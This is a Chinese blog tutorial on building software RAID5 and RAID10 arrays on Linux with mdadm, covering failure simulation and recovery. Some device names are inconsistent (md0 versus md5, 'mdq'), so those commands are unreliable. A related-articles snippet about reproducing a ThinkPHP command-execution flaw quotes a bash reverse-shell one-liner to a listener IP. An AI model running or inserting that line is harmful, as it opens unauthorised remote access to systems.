当前位置: 首页 > news >正文

软件RAID配置实战(2个案例场景)


文章目录

  • 3、软件RAID管理-mdadm工具
    • 安装mdadm组件
    • 格式
    • 示例
    • 选项说明
    • mdadm命令其它常用选项
  • 4、相关查询命令
    • 查看创建RAID的进度
    • 查看RAID磁盘详细信息
    • 查看文件系统的磁盘空间使用情况
  • 5、RAID配置示例
    • 场景1:RAID5
      • 步骤
    • 场景2:RAID10
      • 步骤
  • 6、移除RAID阵列


接上篇理论部分:认识RAID磁盘阵列
现在通过mdadm工具来完成软件RAID5和RAID10的Linux配置。

3、软件RAID管理-mdadm工具

mdadm (multiple devices admin)是一个用于管理 Linux 软件 RAID (Redundant Array of Independent Disks) 的命令行工具。RAID 是一种将多个物理硬盘组合成一个或多个逻辑单元的技术,以提高数据冗余和性能。mdadm 提供了一套完整的工具来创建、管理和监控 Linux 下的软件 RAID 阵列。

安装mdadm组件

yum install mdadm 

检查是否安装了组件

rpm -qa | grep "mdadm" 

格式

  1. 创建新的 RAID 阵列 (-C / --create)
mdadm -C -v /dev/mdX -l<RAID 级别> -n<磁盘数量> <磁盘列表>
  • C:表示创建新的 RAID 阵列。
  • v:显示详细信息。
  • /dev/mdX:RAID 阵列的设备名称。
  • l:指定 RAID 级别(如 0, 1, 5, 6, 10 等)。
  • n:指定用于创建 RAID 的磁盘数量。
  • <磁盘列表>:参与 RAID 的磁盘分区列表。
  1. 显示 RAID 阵列的详细信息 (-D / --detail)
mdadm --detail <RAID device>
  • <RAID device>:要查看详细信息的 RAID 阵列的设备文件。

示例

mdadm -C -v /dev/md5 -l5 -n3 /dev/sd[b-d]1 -x1 /dev/sde1

选项说明

-C:新建。

-v:显示创建过程中的详细信息。

/dev/md5:创建 RAID5 的名称。

-a yes:–auto,表示如果有什么设备文件没有存在的话就自动创建,可省略。

-l:指定 RAID 的级别,l5 表示创建 RAID5。

-n:指定使用几块硬盘创建 RAID,n3 表示使用 3 块硬盘创建 RAID。

/dev/sd[bcd]1:指定使用这四块磁盘分区去创建 RAID。

-x:指定使用几块硬盘做RAID的热备用盘,-x1表示保留1块

闲的硬盘作备用

/dev/sde1:指定用作于备用的磁盘

mdadm命令其它常用选项

-r:从RAID阵列中移除一个设备

-a:添加一个新设备到 RAID 阵列

-S:停止RAID阵列

-A:启动RAID阵列

-D:查看RAID的详细信息

-E:检查设备是否已经是某个RAID阵列的一部分

-f:—fail将一个设备标记为故障

-R:强制启动一个RAID阵列

4、相关查询命令

查看创建RAID的进度

cat /proc/mdstat 

或者使用watch命令可以指定间隔持续查看

watch -n 2 cat /proc/mdstat

在创建时输出:

Personalities : [raid6] [raid5] [raid4] 
md5 : active raid5 sdh1[4] sdi1[3](S) sdg1[1] sdf1[0]104787968 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_][===========>.........]  recovery = 55.7% (29220992/52393984) finish=1.8min speed=204403K/secunused devices: <none> 

创建完成后输出:

Personalities : [raid6] [raid5] [raid4] 
md5 : active raid5 sdh1[4] sdi1[3](S) sdg1[1] sdf1[0]104787968 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]unused devices: <none> 

查看RAID磁盘详细信息

mdadm -D /dev/md5 

输出:

/dev/md5:Version : 1.2Creation Time : Thu Oct 13 18:13:17 2022Raid Level : raid5Array Size : 41908224 (39.97 GiB 42.91 GB)Used Dev Size : 20954112 (19.98 GiB 21.46 GB)Raid Devices : 3Total Devices : 4Persistence : Superblock is persistentUpdate Time : Thu Oct 13 18:15:02 2022State : clean Active Devices : 3  ---激活的设备Working Devices : 4  ---工作的设备Failed Devices : 0  ---不工作的设备Spare Devices : 1  ---空闲的设备Layout : left-symmetricChunk Size : 512KConsistency Policy : resyncName : 192.168.233.21:5  (local to host 192.168.233.21)UUID : 3d950a02:3b0b3f96:f99f95ff:3149ae0bEvents : 18Number   Major   Minor   RaidDevice State0       8       17        0      active sync   /dev/sdb11       8       33        1      active sync   /dev/sdc14       8       49        2      active sync   /dev/sdd13       8       65        -      spare   /dev/sde1

查看文件系统的磁盘空间使用情况

df -h 

输出示例:

文件系统                          容量  已用  可用 已用% 挂载点
devtmpfs                          894M     0  894M    0% /dev
tmpfs                             910M     0  910M    0% /dev/shm
tmpfs                             910M   11M  900M    2% /run
tmpfs                             910M     0  910M    0% /sys/fs/cgroup
/dev/mapper/centos-root            25G  5.0G   20G   20% /
/dev/sda1                        1014M  185M  830M   19% /boot
/dev/mapper/vg_group-lv_centeral   33G   33M   33G    1% /Central
/dev/mapper/vg_group-lv_north      33G   33M   33G    1% /North
/dev/mapper/vg_group-lv_east       33G   33M   33G    1% /East
tmpfs                             182M   12K  182M    1% /run/user/42
tmpfs                             182M     0  182M    0% /run/user/0
/dev/md5                          100G   33M  100G    1% /mnt/md5

5、RAID配置示例

场景1:RAID5

4个50G的磁盘,组建RAID5磁盘阵列

步骤

  1. 查看磁盘列表
fdisk -l 
  1. 创建分区,使用fdisk分别进入交互式界面并在交互式界面创建分区
fdisk /dev/sdf
fdisk /dev/sdg
fdisk /dev/sdh
fdisk /dev/sdi 

输入n创建新分区,默认分区p,默认起止扇区,最后w保存

使用lsblk可以查看分区列表
在这里插入图片描述

  1. 更改分区类型为“Linux raid autodetect”

使用fdiskz分别进入交互式界面为或者在分区时一次性完成

输入t改变分区系统ID,输入fd将分区类型更改为 “Linux raid autodetect”,该分区将被自动识别为 RAID 分区

:分区类型代码用来标识不同的文件系统和用途。每个分区类型都有一个对应的十六进制代码。如fd 代码表示分区类型为 “Linux raid autodetect”。可以通过输入 L 列出所有代码。

  1. 安装mdadm组件
yum install mdadm 

检查是否安装了组件

rpm -qa | grep "mdadm" 
  1. 创建RAID5磁盘阵列
mdadm -C -v /dev/md0 -l5 -n3 /dev/sd[bcd]1 -x1 /dev/sde1
  1. 查看创建进度
 cat /proc/mdstat  
  1. 查询详细信息
mdadm -D /dev/md5 
  1. 格式化新创建的阵列盘
mkfs.xfs /dev/md5
  1. 挂载新创建的磁盘文件
mount /dev/md5 /mnt/md5 
  1. 查看文件系统的磁盘空间使用情况
df -h 
  1. 模拟故障
mdadm /dev/md5 -f /dev/sdh1 
  1. 查看 RAID 状态
mdadm -D /dev/md5 
或
mdadm --detail /dev/md5 

此时可以看到有一个设备故障

  1. 恢复RAID阵列

(1)移除故障磁盘

mdadm /dev/md5 -r /dev/sdh1

(2)添加新的或修复的磁盘

mdadm /dev/md5 -a /dev/sdh1
  1. 检查恢复情况
 mdadm -D /dev/md5

经检查,新添加的磁盘重建阵列,稍等片刻恢复正常

场景2:RAID10

依旧4块50G磁盘,每个盘已分区成3个10G和20G的空闲空间,使用每个盘的第2个分区创建RAID10。

思路:先做2个RAID1,再做1个RAID0,先做镜象,再做条带。

分区如下

sdf                      8:80   0   50G  0 disk 
├─sdf1                   8:81   0   10G  0 part 
├─sdf2                   8:82   0   10G  0 part 
└─sdf3                   8:83   0   10G  0 part 
sdg                      8:96   0   50G  0 disk 
├─sdg1                   8:97   0   10G  0 part 
├─sdg2                   8:98   0   10G  0 part 
└─sdg3                   8:99   0   10G  0 part 
sdh                      8:112  0   50G  0 disk 
├─sdh1                   8:113  0   10G  0 part 
├─sdh2                   8:114  0   10G  0 part 
└─sdh3                   8:115  0   10G  0 part 
sdi                      8:128  0   50G  0 disk 
├─sdi1                   8:129  0   10G  0 part 
├─sdi2                   8:130  0   10G  0 part 
└─sdi3                   8:131  0   10G  0 part 

步骤

  1. 更改分区类型为“Linux raid autodetect”

打开fdisk工具,输入t改变分区系统ID,输入fd将分区类型更改为 “Linux raid autodetect”

   设备 Boot      Start         End      Blocks   Id  System
/dev/sdh1            2048    20973567    10485760   83  Linux
/dev/sdh2        20973568    41945087    10485760   fd  Linux raid autodetect
/dev/sdh3        41945088    62916607    10485760   83  Linux
  1. 创建2组RAID1

使用sdf2、sdg2和sdh2、sdi2 创建2组RAID1,分别命名md0和md1

mdadm -Cy /dev/md0 -l1 -n2 /dev/sd[fg]2
mdadm -Cv /dev/md1 -l1 -n2 /dev/sd[hi]2

或一条命令写法

mdadm -Cv /dev/md10 -l10 -n4 -x1 /dev/sd{b,c,d,e,f}1
  1. 创建1组RAID0

使用刚创建的md0和md1创建1组RAID0,命名md10,至此组成RAID10

mdadm -Cv /dev/md10 -l0 -n2 /dev/md0 /dev/md1
  1. 查看详情信息

查看3个RAID阵列的详细信息,运行正常

mdadm -D /dev/md0
mdadm -D /dev/md1
mdadm -D /dev/md10

在这里插入图片描述
在这里插入图片描述

  1. 格式化新分区

格式化刚组成的RAID10分区,即md10

mkfs.xfs /dev/md10
  1. 模拟故障

可以使两块RAID1各挂1块,如md0的sdf2或sdg2和md1的sdh2或sdi2。

由于RAID0是基于两组RAID1创建的虚拟分区,因此测试其意义不大。

mdadm /dev/md0 -f /dev/sdg2
mdadm /dev/mdq -f /dev/sdi2
  1. 检查模拟的故障状态

经测试两组各挂了一块盘,RAID1组仍正常运行。

mdadm -D /dev/md0
mdadm -D /dev/md1

在这里插入图片描述

  1. 恢复RAID阵列,即重新添加盘

(1)移除故障磁盘

mdadm /dev/md0 -r /dev/sdg2
mdadm /dev/md1 -r /dev/sdi2

(2)添加新磁盘

mdadm /dev/md0 -a /dev/sdg2
mdadm /dev/md1 -a /dev/sdi2
  1. 检查恢复情况
 mdadm -D /dev/md0mdadm -D /dev/md1mdadm -D /dev/md10

经检查,新添加的磁盘重建阵列,稍等片刻恢复正常

  1. 挂载到系统
mount /dev/md10 /mnt/md10/

挂载到系统后即可正常使用RAID10磁盘阵列分区

  1. 检查磁盘信息

使用df -hT命令查看系统中所有文件系统的挂载信息和文件系统类型

df -hT

在这里插入图片描述

已成功挂载并且正常显示,一切正常

6、移除RAID阵列

  1. 卸载文件系统

    如果RAID阵列上有挂载的文件系统,需要先卸载它。

    使用umount /dev/mdX命令来卸载RAID设备上的文件系统。

  2. 移除RAID设备

    使用 mdadm -S /dev/mdX 停止RAID阵列。

    或者使用mdadm --remove /dev/mdX命令来移除RAID设备。

    从mdadm的配置中删除RAID设备的定义,但不会修改磁盘上的数据或分区。

  3. 清除超级块

    清除RAID成员设备上的超级块信息(以防止将来意外地重新加入RAID阵列,也是彻底移除必需的)。

    使用 mdadm --misc --zero-superblock /dev/sdXN 或者mdadm --zero-superblock /dev/sdXN命令,其中/dev/sdXN是RAID成员设备的分区名称(例如/dev/sdb1)。

    有几块硬盘,就按格式删几次,注意最后面的硬盘名称,也可以写在一条命令:

    mdadm --misc --zero-superblock /dev/sdb1 /dev/sdc1 /dev/sdd1 /dev/sde1

  4. 删除配置文件

    删除 rm -rf /etc/mdadm.conf


注:部分图片来源于网络,侵删。

相关文章:

软件RAID配置实战(2个案例场景)

文章目录 3、软件RAID管理-mdadm工具安装mdadm组件格式示例选项说明mdadm命令其它常用选项 4、相关查询命令查看创建RAID的进度查看RAID磁盘详细信息查看文件系统的磁盘空间使用情况 5、RAID配置示例场景1&#xff1a;RAID5步骤 场景2&#xff1a;RAID10步骤 6、移除RAID阵列 接…...

# 基于MongoDB实现商品管理系统(2)

基于MongoDB实现商品管理系统&#xff08;2&#xff09; 基于 mongodb 实现商品管理系统之准备工作 1、案例需求 这里使用的不是前端页面&#xff0c;而是控制台来完成的。 具体的需求如下所示&#xff1a; 运行 查询所有 通过id查询详情 添加 - 通过id删除 2、案例分析 程…...

国标GB28181视频平台LntonCVS视频融合共享平台视频汇聚应用方案

近年来&#xff0c;国内视频监控应用迅猛发展&#xff0c;系统接入规模不断扩大&#xff0c;导致了大量平台提供商的涌现。然而&#xff0c;不同平台的接入协议千差万别&#xff0c;使得终端制造商不得不为每款设备维护多个不同平台的软件版本&#xff0c;造成了资源的严重浪费…...

java基础I/O

1,I/O流的概念&#xff1a; IO流代表的是一个数据输入的源或者输出的目标地址&#xff0c;可以是硬盘&#xff0c;内存&#xff0c;网络或者什么其他的电子设备&#xff0c;而IO流的类型也很多比如最简单的字节或者字符&#xff0c;或者其他更高级的对象。 不管它有多少特性&am…...

关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论

关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论&#xff0c;确实是一个值得深入探讨的话题。这里&#xff0c;“八股文”通常指的是面试中常见的一系列标准化问题和答案&#xff0c;涵盖了编程语言基础、算法、数据结构、设计模式、框架知识等&#xff0c;这些内…...

【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)

目录 第3题 基于front、rear和count的循环队列初始化、入队和出队操作 得分点&#xff08;必背&#xff09; 题解&#xff1a;基于front、rear和count的循环队列初始化、入队和出队操作 数据结构定义 代码解答 详细解释 1. 循环队列初始化 2. 循环队列入队 3. 循环队列…...

端点区间影响

前言&#xff1a;这一题本来想就是直接来一个前缀和来写&#xff0c;直接左边加一&#xff0c;右边减一&#xff0c;但是细想好像有问题&#xff0c;我们平时做的题目左边端点造成的影响会对这一段区间造成影响&#xff0c;但是这一题的话超过了左边端点就不会有影响了 那这一题…...

Leetcode3224. 使差值相等的最少数组改动次数

Every day a Leetcode 题目来源&#xff1a;3224. 使差值相等的最少数组改动次数 解法1&#xff1a; 想一想&#xff0c;什么情况下答案是 0&#xff1f;什么情况下答案是 1&#xff1f; 如果答案是 0&#xff0c;意味着所有 ∣nums[i]−nums[n−1−i]∣ 都等于同一个数 X。…...

thinkphp之命令执行漏洞复现

实战&#xff1a; fofa搜索thinkphp-- 第一步&#xff1a;先在dns平台上&#xff0c;点击Get SubDomain &#xff0c;监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …...

算法板子:匈牙利算法——二分图的最大匹配

目录 1. 基础概念 &#xff08;1&#xff09;二分图的概念 &#xff08;2&#xff09; 匈牙利算法的作用 2. 代码 1. 基础概念 &#xff08;1&#xff09;二分图的概念 顶点集 V 分为两个集合&#xff0c;且图中每条边依附的两个顶点都分属于这两个子集&#xff0c;也就是第…...

轻松拯救数据危机!四大必备的数据恢复软件免费版推荐!

不论是珍贵的家庭照片、重要的工作文档还是个人的私密信息&#xff0c;一旦丢失&#xff0c;后果不堪设想。今天&#xff0c;给大家介绍四款强大的数据恢复大师免费版&#xff0c;帮助大家在数据丢失时挽回损失。 Foxit数据恢复大师 点此免费下载&#xff1a;www.pdf365.cn/f…...

windbg常用命令

1. 基本调试命令 1.1启动和附加 windbg -pn : 按进程名称启动调试。 windbg -p : 按进程 ID 启动调试。 1.2 控制执行 g: 继续执行程序。 p: 单步执行&#xff0c;不进入函数。 t: 单步执行&#xff0c;进入函数。 bp <Address>: 在指定地址设置断点。 bl: 列出所有断…...

Ubuntu(20.04 LTS)更换镜像源

此换镜像源方法只适用x86_64架构的系统&#xff0c;其他架构的系统参考ubuntu-ports的方法 1、备份文件 sudo mv /etc/apt/sources.list /etc/apt/sources.list.bk2、创建新文件 sudo vi /etc/apt/sources.list根据自己系统版本选择下面对应的镜像源添加到新文件中&#xf…...

golang使用 copier对象复制时进行类型转化

问题描述 在后端我们经常会在 entity 和 view 之间进行复制转换为可以发送给前端的数据 比如 time 对象在下送的时候&#xff0c;我们希望能显示经过格式化过的目标字符串格式&#xff0c;这里我们可以使用自定义的 converter&#xff0c;主要是定义 src 和 dst 类型&#xf…...

英特尔18A制程技术分析解读

#### 引言 尽管第二季度净亏损16亿美元以及大规模裁员计划引发了一些担忧&#xff0c;英特尔还是在8月6日宣布了其下一代18A制程技术取得重大里程碑的消息&#xff0c;并计划在2025年开始生产。 #### 技术进展 - **里程碑**&#xff1a;英特尔表示&#xff0c;这一里程碑是在…...

【百度面试算法题】2024-08-02

部门项目实际上也涉及到多种语言&#xff0c;有没有意愿去学习其他语言&#xff1f;你是如何利用数据结构来做技术的/项目中是如何解决高并发的&#xff1f;&#xff08;没听懂问题…就直接开始介绍项目了…后来被打断说不进行发散了&#xff0c;开始问八股&#xff09;说一下单…...

OSPF基础

目录 一、路由分类 1.直连路由 2.非直连路由 二、OSPF概述 1.什么是OSPF 2.OSPF的特点 3.OSPF的区域划分 1.划分区域的意义 2.区域的划分 三、OSPF 消息数据包 1.数据包的类型 2.Hello包 2.DBD包 3.LSR包 4.LSU 5.LSACK 四、OSPF 邻居状态机制 1.邻居关…...

leetcode 958.二叉树的完全性检验

1.题目要求: 给你一棵二叉树的根节点 root &#xff0c;请你判断这棵树是否是一棵 完全二叉树 。在一棵 完全二叉树 中&#xff0c;除了最后一层外&#xff0c;所有层都被完全填满&#xff0c;并且最后一层中的所有节点都尽可能靠左。最后一层&#xff08;第 h 层&#xff09;…...

Spring 中请求作用域的数据存储在 ThreadLocal 中还是 Spring 容器中?

微信中阅读,欢迎👏👏👏关注公众号:CodeFit 。 创作不易,如果你觉得这篇文章对您有帮助,请不要忘了 点赞、分享 和 关注,为我的 持续创作 提供 动力! 最近看到一个有趣的问题,Request Scope(请求作用域) 的数据是存储在 ThreadLocal 中,还是 Spring 容器中? 事…...

基础岛 - 8G显存验证书生·浦语大模型的Demo

因为以前用过LMDeploy&#xff0c;所以本章的内容相对熟悉。 另外&#xff0c;因为教程写的很详细保姆级&#xff0c;所以大多数情况直接复制执行命令即可。开发机的创建略过。 总体验证结论&#xff1a; LMDeploy的模型加载有点慢&#xff0c;但推理速度快&#xff0c;符合预…...

Docker 运行 Kafka 带 SASL 认证教程

Docker 运行 Kafka 带 SASL 认证教程 Docker 运行 Kafka 带 SASL 认证教程一、说明二、环境准备三、编写 Docker Compose 和 jaas文件docker-compose.yml代码说明&#xff1a;server_jaas.conf 四、启动服务五、验证服务六、连接kafka服务七、总结 Docker 运行 Kafka 带 SASL 认…...

AtCoder 第409​场初级竞赛 A~E题解

A Conflict 【题目链接】 原题链接&#xff1a;A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串&#xff0c;只有在同时为 o 时输出 Yes 并结束程序&#xff0c;否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

c++ 面试题(1)-----深度优先搜索(DFS)实现

操作系统&#xff1a;ubuntu22.04 IDE:Visual Studio Code 编程语言&#xff1a;C11 题目描述 地上有一个 m 行 n 列的方格&#xff0c;从坐标 [0,0] 起始。一个机器人可以从某一格移动到上下左右四个格子&#xff0c;但不能进入行坐标和列坐标的数位之和大于 k 的格子。 例…...

剑指offer20_链表中环的入口节点

链表中环的入口节点 给定一个链表&#xff0c;若其中包含环&#xff0c;则输出环的入口节点。 若其中不包含环&#xff0c;则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...

python如何将word的doc另存为docx

将 DOCX 文件另存为 DOCX 格式&#xff08;Python 实现&#xff09; 在 Python 中&#xff0c;你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是&#xff0c;.doc 是旧的 Word 格式&#xff0c;而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...

AI书签管理工具开发全记录(十九):嵌入资源处理

1.前言 &#x1f4dd; 在上一篇文章中&#xff0c;我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源&#xff0c;方便后续将资源打包到一个可执行文件中。 2.embed介绍 &#x1f3af; Go 1.16 引入了革命性的 embed 包&#xff0c;彻底改变了静态资源管理的…...

AI病理诊断七剑下天山,医疗未来触手可及

一、病理诊断困局&#xff1a;刀尖上的医学艺术 1.1 金标准背后的隐痛 病理诊断被誉为"诊断的诊断"&#xff0c;医生需通过显微镜观察组织切片&#xff0c;在细胞迷宫中捕捉癌变信号。某省病理质控报告显示&#xff0c;基层医院误诊率达12%-15%&#xff0c;专家会诊…...

面向无人机海岸带生态系统监测的语义分割基准数据集

描述&#xff1a;海岸带生态系统的监测是维护生态平衡和可持续发展的重要任务。语义分割技术在遥感影像中的应用为海岸带生态系统的精准监测提供了有效手段。然而&#xff0c;目前该领域仍面临一个挑战&#xff0c;即缺乏公开的专门面向海岸带生态系统的语义分割基准数据集。受…...

STM32---外部32.768K晶振(LSE)无法起振问题

晶振是否起振主要就检查两个1、晶振与MCU是否兼容&#xff1b;2、晶振的负载电容是否匹配 目录 一、判断晶振与MCU是否兼容 二、判断负载电容是否匹配 1. 晶振负载电容&#xff08;CL&#xff09;与匹配电容&#xff08;CL1、CL2&#xff09;的关系 2. 如何选择 CL1 和 CL…...

MyBatis中关于缓存的理解

MyBatis缓存 MyBatis系统当中默认定义两级缓存&#xff1a;一级缓存、二级缓存 默认情况下&#xff0c;只有一级缓存开启&#xff08;sqlSession级别的缓存&#xff09;二级缓存需要手动开启配置&#xff0c;需要局域namespace级别的缓存 一级缓存&#xff08;本地缓存&#…...